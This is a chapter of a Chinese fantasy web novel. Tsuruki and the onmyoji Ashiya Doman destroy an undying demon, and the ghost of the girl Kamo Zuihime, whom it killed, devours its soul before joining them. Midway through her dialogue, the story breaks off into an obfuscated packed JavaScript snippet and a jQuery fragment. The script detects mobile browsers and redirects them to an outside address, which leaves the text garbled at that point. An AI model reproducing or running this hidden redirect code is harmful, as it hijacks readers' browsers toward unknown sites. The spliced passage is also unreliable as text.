二人离开了花街，向着京都城外飞奔而去。一路上，鹤归手里的包袱并不安分，在布料的包裹中不断踢打。


    月色下，京都城外的森林之中。


    已经基本恢复人形的鬼再次被鹤归切了个稀碎。


    偏偏那个家伙还死性不改地嘲讽着：“没用的，你是杀不了我的。”


    “你的剑太慢了，也太钝了。”


    “我是不死的！”


    鹤归面色不善地盯着眼前的这一坨，心中在恶心之余不合时宜地浮现出一个问题：“这东西是怎么在这种状态下还能说话的？”


    “他是用灵魂在说话，□□变成什么样都不会妨碍他。”芦屋道满看出了御主心里的疑惑，出言解释，“这个世界很奇特，这种东西的□□是和灵魂完全融合的，这让他们的□□突破了生物的极限，即使是遭受了致命的破坏，也不会直接死亡。”


    “只要时间足够，他们就能重新恢复。”


    芦屋道满说完，厌恶地皱起了眉头。虽然他也不是个正经的阴阳师，但是对这种邪术，他是十分瞧不上眼的。


    毕竟这种永生的方法，是牺牲了灵魂为代价的，□□毁灭了，灵魂也会随之消亡。


    而且要维持这种永生，还要用到他人的血肉和生命力，简直是披着血肉的恶灵。


    真是劣等的行径。


    鹤归听完芦屋道满的解释，微微勾起一个冷笑：“哦？灵魂啊？”


    他想起了那个更新的特别任务。


    “正好我在研究灵魂魔法，还没具体施展过呢。”鹤归伸出了手，魔力隔空覆盖上了地上蠕动的那一坨东西。


    然后他挑了挑眉——这种精细到细胞结构层面的融合，还是挺棘手的。


    好在天亮之前，他有大把时间来进行拆解。


    成年男性的人体是由大约36万亿个细胞组成的，想要彻底将这些细胞和灵魂分离，是一项庞大的工程。


    就这样，一夜的时间悄然过去，天边泛起了微微的鱼肚白，太阳即将升起。


    芦屋道满袖中黑色的小纸人突然挣扎了起来。


    阴阳师有些讶异地将小纸人拿了出来，侧耳倾听亡灵的言语。


    “御主，她说想要自己报仇。”芦屋道满将亡灵的愿望反馈给了自家御主。


    “哦？”鹤归有些疑惑地看向芦屋道满手中的纸人。


    “她说她现在有办法对付这个害死她的畜生了。”


    没有五官的黑色小纸人点了点头表示赞同。


    “那你来试试吧。”鹤归顺手脱掉了义骸，现在他眼睛周围的魔术回路不通，只有以灵魂的姿态才能看到灵魂。他想知道这孩子要做什么。


    小纸人从芦屋道满的掌心跳下来，步履蹒跚地走到那一坨旁边。


    一阵阴风吹过，少女的灵魂从纸人中钻了出来，猛地扑向那一坨东西，嘴巴一张，在那一坨的上方的空气处撕咬起来。


    伴随着她的动作，一缕缕黑气从那一坨碎肉上飘出，被她吃进了嘴里——她正在以极快的速度吞食对方的灵魂。


    那种速度，是鹤归剥离灵魂时的千倍百倍。


    伴随着她的动作，眼前的那一坨的行动逐渐变得虚弱，感受到死亡正在降临的它发出了凄厉的求饶声；“求求你，放过我吧！我知道错了，你放过我我以后不会再这么做了！”


    然而少女不为所动，她的双眼中燃烧着复仇的火焰，她的撕咬更加猛烈，仿佛是要将这个恶魔施加在她身上的痛苦原封不动地还回去。


    眼见言语无法阻止对方的行动，那一坨收起了求饶的语气，发出了恶毒的诅咒：“你不得好死，我会让你魂飞魄散的！你这个贱人，下贱东西！你怎么敢这么对高贵的我！烂人，不得好死！”伴随着尖叫声，他最后烂在地上一动不动。


    少女的灵魂啐了一口不存在的唾沫：“小女早就因为你不得好死了，你个垃圾！”


    怨气逐渐散去，少女狰狞的神情也逐渐褪去，恢复了一副温婉宁静的样子。


    “如果是完整的灵魂，小女没办法向他复仇，感谢你们的帮助。”恢复了原本雪玉可爱模样的少女定定地看着在阳光下化为飞灰的仇人，目光有些呆滞，半晌后，她抬起头问眼前的恩人，“请问小女能跟着你们吗？”


    “你的怨气应该已经洗清了吧，还是尽早去轮回比较好。”芦屋道满劝告这个勇敢的少女。


    少女低下了头，思考了许久。


    在太阳跃出地平线的刹那，她一溜烟地钻进了小纸人里，四肢一摊，往地上一躺，耍赖道：“现在是白天了，小女太虚弱了，不能出来了。”


    鹤归面对耍赖的小孩，露出了一个一言难尽的表情，说实话他不太擅长应对这个年龄段的孩子，面对他们的撒娇耍赖，他能做到的只有“对对对、好好好、行行行”。


    有些拿不定主意的鹤归将目光投向了芦屋道满，想听听他的意见。


    倒是芦屋道满看着那个虽然漆黑一片但是完好无损的小纸人，有些惊讶地挑了挑眉毛。


    这东西是出自他手，他自然清楚这就是个一次性用品。


    然而这小姑娘居然能凭借自身的力量维持住这个纸人，还借着这个纸人躲开了阳光，真是有几分稀奇。


    “你有姓名吗？”他问眼前的亡灵。


    一般人在死后即使是化成了怨灵，也不会记得自己生前的名字，况且在这个时代，有姓名也是不同凡响的一种象征。


    那小纸人见眼前的两位恩公好像准备带上自己了，顿时喜出望外，便翻身坐了起来：“小女贺茂蕊姬，是贺茂氏第一百八十四代旁系贺茂朔幼女。”


    看着已经能熟练操控小纸人身体的亡灵，芦屋道满眼中闪过一丝了然。


    如果是贺茂一族的人，能做到这一点就不足为奇了。


    这个姓氏本就是阴阳师大族的象征，其祖先贺茂役君小角更是修验道的开山鼻祖，可以说日本的阴阳术就是自他而起才从道教之中真正脱胎。


    更何况他的后代贺茂行忠还教出了他芦屋道满一生的死敌——安倍晴明。


    芦屋道满看着眼前的贺茂蕊姬，微微蹙起了眉头，如果不是生在这乱世，恐怕再过几年，她就会进到任意一个神社中，成为巫女，侍奉神明了。


    以她的天赋，应该会成为这一代巫女中的佼佼者，受到皇室的尊敬。


    “你为什么会在花街之中？”他询问眼前的少女。


    “近日贺茂一族正在举行‘现人神巫女’的选拔，小女不慎受了算计，被拐卖进了花街。”女孩的语气是不符合年龄的稳重，她叹了口气，“小女本来打算今夜逃离，却遇上了此事。”


    “你的式神呢？”芦屋道满不相信能以金钗之年参与现人神巫女选拔的贺茂蕊姬会没有手段。


    “在进入花街时，小女已经无法调动灵力了。”贺茂蕊姬的情绪有些低落，她懊恼着自己当初的不谨慎，将信任错付他人，“不过小女早已卜算出有此一劫，只是技不如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196333|159311||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人没有度过罢了。”


    “好吧，你跟着我们的目的又是什么呢？”鹤归听了二者之间的交谈，忍不住出声询问。


    “害死小女的这种怪物，不止这一个吧。”贺茂蕊姬端坐在草地上，“小女曾经在学习时，在家族卷宗上看到过有人莫名失踪，只找到过残破的衣物和一些零碎的残骸，当时记录下的人下的定论是被疑似人类的活物撕碎吞食。”


    “但那已经是几十年前的卷宗了。”


    “所以小女认为这种怪物应该不止一个，受害者也不止小女一人。”


    “作为贺茂家的一员，小女既然亲身接触到了这等邪术，就有责任消灭使用邪术戕害人类的败类。”


    小小的黑色纸人上散发着正道的光。


    “你就这么确定我们是奔着这群吃人的家伙来的？”鹤归有些疑惑，疑惑这个小姑娘怎么这么笃定他们的目的。


    “虽然变成了亡灵，但小女相人的本事还是在的。”贺茂蕊姬语气坚定，“而且恩公您是专门来花街斩杀那个怪物的，还在动手前布置了诱导常人的阵法，您是好人。”


    “况且，也许是因为小女是死在这怪物手中，小女隐约之间能够感受到这种怪物的方位。”贺茂蕊姬努力表达着自己是有价值的。


    被小孩夸奖的鹤归压住了翘起的嘴角，对着贺茂蕊姬伸出手：“跟我们来吧，如果不了了你这桩心事，你也没法安心投胎吧。”


    小纸人从善如流地走上了恩公的手中，跪坐下来：“真是万分感激。”


    芦屋道满见御主已经下了决定，便不再出言反对，从善如流地同意了这个小姑娘临时加入他们的队伍。


    跟着早上入城的民众重新进了京都城，鹤归和芦屋道满这两个“黑户”连住店都很困难。


    藏在鹤归袖筒里的贺茂蕊姬此时悄悄给鹤归传音：“进城门后，向东直行百步，再向南直行百步，再向西北行五十步。那里有我的隐蔽之所，贺茂家也不知道。”


    无处落脚的鹤归选择相信这个孩子，按照指引，他们来到了一间位于平民区的小屋门前。


    贺茂蕊姬从鹤归的袖筒里滑了出来，迈着纸人的小短腿跑到小屋门前，用力一跳，上了木质的地台，纸做的小手贴在纸面上，用力推开了障子门。


    “蕊姬大人，非常抱歉，是在下的疏忽……”


    门一打开，是一个身着朴素和服，面上遮着一张画着眼睛的白纸的女子。她正向着门口跪拜着，给她的主人道歉。


    然而，道歉的声音在看到门后的小纸人之后硬生生被掐断了。


    “抱歉啊，棠。”


    主人的声音从小纸人身上传来，带着一丝无奈：“这次没能化险为夷呢。”


    然后贺茂蕊姬就看到她的式神不知从哪里掏出来一把短刀，就要切腹自尽。


    小小的纸人飞身而起，抱住了式神的手，焦急地喊道：“这不是你的过错，我这不是回来了嘛！有重要的事情要你去做！”


    说完，她突然意识到她的两位恩公还在门外，以他们的位置，刚才发生的一切估计都被看到了。


    棠只见原本抱着自己手的主人突然松开了手，像一张平平无奇的纸片那样，静静地从她的手腕飘落到地上。


    “蕊姬大人！蕊姬大人！您怎么了？！您没事吧？！”式神丢掉了手中短刀，伸出双手小心翼翼地捧起了地上的纸片人。


    深感在恩人眼前丢人现眼的贺茂蕊姬：棠啊，你就当我真死了吧。